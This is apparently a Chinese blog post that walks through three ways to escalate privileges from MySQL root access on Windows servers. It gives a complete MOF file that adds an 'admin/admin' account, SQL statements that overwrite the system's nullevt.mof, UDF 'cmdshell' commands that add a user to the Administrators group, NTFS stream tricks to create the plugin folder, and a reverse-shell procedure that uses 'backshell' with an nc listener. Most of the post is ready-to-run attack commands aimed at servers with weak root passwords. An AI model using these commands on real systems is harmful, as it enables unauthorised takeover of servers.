MySQL提权原理及过程

mof提权原理

mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。

mof提权的过程:

  1. 将mof上传至任意可读可写目录下,这里我传到D:\wamp\下命名为:xishaonian.mof。也就是:D:\wamp\xishaonian.mof

  2. 然后使用sql语句将系统当中默认的nullevt.mof给替换掉。进而让系统执行我们这个恶意的mof文件。

  3. 替换的sql语句,使用load_file函数进行操作:select load_file('D:\wamp\xishaonian.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

  4. 执行成功后,即可添加一个普通用户,然后你可以更改命令,再上传导出执行把用户提升到管理员权限,然后3389连接之就ok了。

mof文件代码如下所示:

#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; 
}; 

instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
};

可见其中是有一段添加用户的脚本。账号为admin 密码为admin

ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; 

利用UDF提权

udf提权这是最常见的提权方式了,但是往往在执行过程中老是遇到"Can't open shared library"的情况,这里我们可以利用NTFS ADS流来解决这个问题。

  1. 最常见的是直接使用udf.php此类的工具来执行udf提权,具体如下。连接到mysql以后,先导出udf.dll到c:\windows\system32目录下。
  2. 创建相应的函数并执行命令,具体如下:
  • create function cmdshell returns string soname 'udf.dll';
  • select cmdshell('net user waitalone waitalone.cn /add');
  • select cmdshell('net localgroup administrators waitalone /add');
  • drop function cmdshell; 删除函数
  • delete from mysql.func where name='cmdshell' 删除函数
  1. 某些情况下,我们会遇到Can't open shared library的情况,这时就需要我们把udf.dll导出到lib\plugin目录下才可以,但是默认情况下plugin不存在,怎么办? 还好有大牛研究出了利用NTFS ADS流来创建文件夹的方法
  • select @@basedir; //查找到mysql的目录
  • select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib::$INDEX_ALLOCATION';//利用NTFS ADS创建lib目录
  • select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录
  1. 执行成功以后再进行导出即可。

反弹端口连接提权

假如我们扫到了一个mysql的root弱密码,并且可以外连,但是服务器上面的网站又无法Getshell,这时我们怎么办呢?

  1. 利用mysql客户端工具连接mysql服务器,然后执行下面的操作。
  • mysql.exe -h 172.16.10.11 -uroot -p
  • Enter password:
  • mysql> . c:\mysql.txt
  • mysql>select backshell("YourIP",2010);
  1. 本地监听你反弹的端口
  • nc.exe -vv -l -p 2010
  1. 成功后,你将获得一个system权限的cmdshell,其实这个也是利用的UDF提权。
参考文章:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值